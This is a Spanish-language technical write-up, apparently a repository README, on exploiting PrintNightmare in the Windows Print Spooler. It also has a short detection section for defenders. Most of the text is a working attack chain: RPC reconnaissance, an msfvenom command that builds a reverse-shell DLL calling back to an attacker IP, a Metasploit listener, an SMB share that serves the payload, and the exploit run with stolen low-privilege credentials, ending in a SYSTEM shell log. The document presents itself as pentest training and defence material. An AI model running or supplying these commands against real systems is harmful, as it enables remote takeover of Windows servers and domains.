
Informe técnico y análisis de PrintNightmare (CVE-2021-1675 / CVE-2021-34527), que cubre la explotación de RCE/LPE, la detección mediante registros de eventos de Windows y la mitigación para Print Spooler.
El repositorio contiene un informe técnico detallado (write-up) y el análisis del concepto de explotación de una vulnerabilidad crítica en el servicio del administrador de impresión de Windows (Print Spooler), que permite a un usuario de dominio con bajos privilegios ejecutar código arbitrario de forma remota con los máximos privilegios del sistema.
🛑 ADVERTENCIA Y DESCARGO DE RESPONSABILIDAD: Este material ha sido preparado exclusivamente con fines educativos y para la realización de auditorías de seguridad legítimas (Pentest). El uso de las técnicas descritas contra sistemas sin el consentimiento previo por escrito de los propietarios está penado por la ley.
Las vulnerabilidades de la familia PrintNightmare representan una amenaza crítica para los entornos corporativos basados en Windows Server y Active Directory. El defecto arquitectónico en la verificación de privilegios en las interfaces RPC MS-RPRN (Print System Remote Protocol) y MS-PAR (Print System Asynchronous Remote Protocol) permite solicitar legítimamente la instalación de controladores de impresora en un servidor remoto.
El principal peligro radica en que, por defecto, el servicio del administrador de impresión (spoolsv.exe) está activo en la mayoría de los servidores, incluidos los controladores de dominio (Domain Controllers), y se ejecuta en el contexto de los máximos privilegios, NT AUTHORITY\SYSTEM. La compromisión de una sola cuenta de bajos privilegios (por ejemplo, mediante phishing) permite al atacante tomar inmediatamente el control total de toda la infraestructura de Active Directory.
impacket (rpcdump, smbserver), msfvenom, Metasploit Framework, exploit en Python.Para implementar el vector de ejecución remota de código (RCE) se necesitan credenciales de dominio válidas de un usuario con privilegios mínimos (proporcionadas en las condiciones de la investigación).
spoolsv.exe) en la máquina Windows objetivo está activo y se ejecuta con privilegios máximos SYSTEM, lo que abre una vía directa para la elevación local de privilegios (LPE) en el host mediante la carga de una biblioteca no confiable.Antes de ejecutar el exploit principal, es necesario verificar que la máquina remota expone los protocolos de impresión vulnerables y está abierta a la interacción de red. Realizamos una consulta de las interfaces RPC del sistema objetivo:
impacket-rpcdump @<TARGET_IP> | egrep 'MS-RPRN|MS-PAR'
Salida controlada de la terminal:
Protocol: [MS-RPRN], Endpoint: [\pipe\spoolss]
Protocol: [MS-PAR], Endpoint: [\pipe\spoolss]
[MS-RPRN] y [MS-PAR]. Esto confirma al 100% que el sistema admite las interfaces de impresión remota necesarias y es vulnerable al vector PrintNightmare.Creamos la carga útil para la arquitectura x64, indicando la IP de nuestra máquina atacante para la conexión de red inversa:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o /tmp/malicious.dll
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST <ATTACKER_IP>; set LPORT 4444; run -j"
El servidor Windows objetivo debe tener una forma legítima de descargar nuestra DLL a través de la red sin utilizar utilidades de terceros. Levantamos un servidor SMB con soporte del protocolo SMBv2 desde la carpeta /tmp:
sudo impacket-smbserver tmp /tmp -smb2support
Ejecutamos el script de exploit en Python, pasándole las credenciales de dominio de un usuario con bajos privilegios y la ruta UNC a la biblioteca maliciosa en nuestro recurso compartido SMB local:
python3 CVE-2021-1675.py <LOW_PRIV_USER>:<PASSWORD>@<TARGET_IP> '\\<ATTACKER_IP>\tmp\malicious.dll'
Registro de la sesión interceptada con éxito (Metasploit):
[*] Started reverse TCP handler on <ATTACKER_IP>:4444
[*] Sending stage (200574 bytes) to <TARGET_IP>
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <TARGET_IP>:49321)
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > shell
Process 3412 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1935]
(c) Корпорация Майкрософт (Microsoft Corporation). Все права защищены.
C:\Windows\system32> whoami
nt authority\system
NT AUTHORITY\SYSTEM. El objetivo está completamente comprometido.Para los especialistas de Blue Team, la detección de la explotación de PrintNightmare se basa en la auditoría de los registros del sistema de Windows y el seguimiento de la actividad anómala de los procesos.
La ejecución exitosa del exploit deja registros característicos en los registros de impresión y en los registros del sistema:
C:\Windows\System32\spool\drivers\x64\3\).Print Spooler), causado por el funcionamiento inestable del exploit.cmd.exe, powershell.exe) o utilidades de recopilación de datos cuyo proceso padre es el proceso del sistema del administrador de impresión spoolsv.exe. En condiciones legítimas, spoolsv.exe nunca genera shells de comandos.spoolsv.exe hacia recursos SMB externos (puerto 445) para descargar archivos de controladores.Disabled.